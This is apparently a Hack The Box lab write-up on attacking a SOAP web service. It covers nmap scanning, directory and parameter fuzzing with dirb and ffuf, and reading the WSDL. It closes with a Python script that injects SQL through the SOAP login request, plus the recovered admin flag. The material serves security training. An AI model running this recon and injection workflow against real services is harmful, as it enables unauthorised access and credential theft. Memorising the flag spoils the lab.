WEB SERVICE & API ATTACKS
OBJECTIVE: assess a SOAP web service whose WSDL file resides at http://{targetSite:port}/wsdl?wsdl and identify an SQL Injection vulnerability through SOAP messages.
Submit the password of the user that has a username of "admin". Answer format: FLAG{string}. Please note that the service will respond successfully only after submitting the proper SQLi payload, otherwise it will hang or throw an error.
#recon the target
root@htb:~$ sudo nmap -sV -sC -T4 10.129.202.133 -p-
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title.
3001/tcp open http PHP cli server 5.5 or later
|_http-title: Login
3002/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title.
3003/tcp open http PHP cli server 5.5 or later (PHP 7.4.3)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
root@htb:~$ sudo nmap --script=vuln 10.129.202.133 -p 3000-3003
PORT STATE SERVICE
3000/tcp open ppp
3001/tcp open nessus
3002/tcp open exlm-agent
3003/tcp open cgms
#walk each target's accessible ports
root@htb:~$ BROWSER > http://10.129.202.133:3000/
...blank page
root@htb:~$ BROWSER > http://10.129.202.133:3001/
email: ...
password: ...
anonymous upload: ...
* login page
root@htb:~$ BROWSER > http://10.129.202.133:3002/
...blank page
root@htb:~$ BROWSER > http://10.129.202.133:3003/
Enter a valid param
* the target may not have a visible webpage, but simply a service that doesn't have visible open access
- many SOAP services run on HTTP(S) but don’t serve traditional web pages. Instead, they expose WSDL (Web Services Description Language) endpoints that define available functions.
#perform directory fuzzing to determine if the wsdl file is exposed
root@htb:~$ dirb http://10.129.202.133:3000
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Mar 30 07:20:42 2025
URL_BASE: http://10.129.202.133:3000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.129.202.133:3000/ ----
+ http://10.129.202.133:3000/api (CODE:200|SIZE:15)
-----------------
END_TIME: Sun Mar 30 07:21:24 2025
DOWNLOADED: 4612 - FOUND: 1
* /api directory detected
root@htb:~$ dirb http://10.129.202.133:3001
* nothing found
root@htb:~$ dirb http://10.129.202.133:3002
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sun Mar 30 07:35:18 2025
URL_BASE: http://10.129.202.133:3002/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.129.202.133:3002/ ----
+ http://10.129.202.133:3002/wsdl (CODE:200|SIZE:0)
-----------------
END_TIME: Sun Mar 30 07:36:02 2025
DOWNLOADED: 4612 - FOUND: 1
* /wsdl directory detected
* ALT: root@oco:~$ find /usr/share/seclists/ -iname directory-list-2* -type f 2>/dev/null
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
root@oco:~$ cp /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt .
root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://10.129.139.27/FUZZ -t 100 -ic#read contents
root@htb:~$ curl http://10.129.202.133:3002/wsdl
...no output. this may mean that a parameter is required to access it#perform parameter fuzzing
root@htb:~$ find / -iname burp-parameter* 2>/dev/null
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
root@oco:~$ cp /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt .
root@oco:~$ ffuf -w burp-parameter-names.txt -u 'http://{targetSite:port}:3002/wsdl?FUZZ' -fs 0 -mc 200
...
WSDL [Status: 200, Size: 4461, Words: 967, Lines: 186, Duration: 10ms]
wsdl [Status: 200, Size: 4461, Words: 967, Lines: 186, Duration: 8ms]
:: Progress: [6453/6453] :: Job [1/1] :: 4761 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
* the -fs 0 filters out empty responses (size = 0)
* the -mc 200 matches HTTP 200 responses.#try to read the contents again
root@oco:~$ curl http://{targetSite:port}/wsdl?wsdl
...
<wsdl:definitions targetNamespace="http://tempuri.org/"
...
<wsdl:types>
...
<!-- Login Messages -->
<wsdl:message name="LoginSoapIn">
...
<!-- ExecuteCommand Messages -->
<wsdl:message name="ExecuteCommandSoapIn">
...
<wsdl:portType name="HacktheBoxSoapPort">
<!-- Login Operaion | PORT -->
...
<!-- ExecuteCommand Operation | PORT -->
<wsdl:operation name="ExecuteCommand">
...
<wsdl:binding name="HacktheboxServiceSoapBinding" type="tns:HacktheBoxSoapPort">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<!-- SOAP Login Action -->
<wsdl:operation name="Login">
...
<!-- SOAP ExecuteCommand Action -->
<wsdl:operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand" style="document"/>
<wsdl:service name="HacktheboxService">
...
* read the contents thoroughly for a way to inject SQL code.
* WSDL files can be found in many forms, such as /example.wsdl, ?wsdl, /example.disco, ?disco etc. DISCO is a Microsoft technology for publishing and discovering Web Services.
- https://docs.microsoft.com/en-us/archive/msdn-magazine/2002/february/xml-files-publishing-and-discovering-web-services-with-disco-and-uddi
WSDL Elements
* Definition: this is the root element of the WSDL file; it specifies the web service name, declares namespaces, and defines all service elements.
* Data types: these are the data types used in the exchanged messages.
* Messages: this defines the web service's input and output operations, specifying exchanged messages as documents or method arguments.
* Operation: this defines the available SOAP actions alongside the encoding of each message.
* Port Type: this defines the web service, its operations, and exchanged messages by grouping input and output messages into operations. In WSDL 2.0, the interface defines operations, while types handle message definitions.
* Binding: this links operations to a port type, specifying message formats and access details for web services. In WSDL 2.0, it also defines interfaces.
... this is the area that OCO will manipulate, but this is not the only option
* Service: this specifies the web service name and location, allowing clients to identify and call it.
root@oco:~$ nano soapActionAutomated.py
import requests
username = "admin"
password = "admin"
print("Starting the request...")
payload = f'''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><username>{username}' OR password LIKE 'FLAG%' -- </username><password>{password}</password></LoginRequest></soap:Body></soap:Envelope>'''
try:
response = requests.post("http://IP:PORT/wsdl", data=payload, headers={"SOAPAction": '"Login"'}, timeout=5)
print("Request Sent")
print(response.status_code)
print(response.text)
except requests.exceptions.Timeout:
print("The request timed out.")
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
root@oco:~$ python3 soapActionAutomated.py
Starting the request...
Request Sent
200
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginResponse xmlns="http://tempuri.org/"><id>0</id><name>Administrator</name><email>[email protected]</email><username>admin</username><password>FLAG{1337_SQL_INJECTION_IS_FUN_:)}</password></LoginResponse></soap:Body></soap:Envelope>
Last updated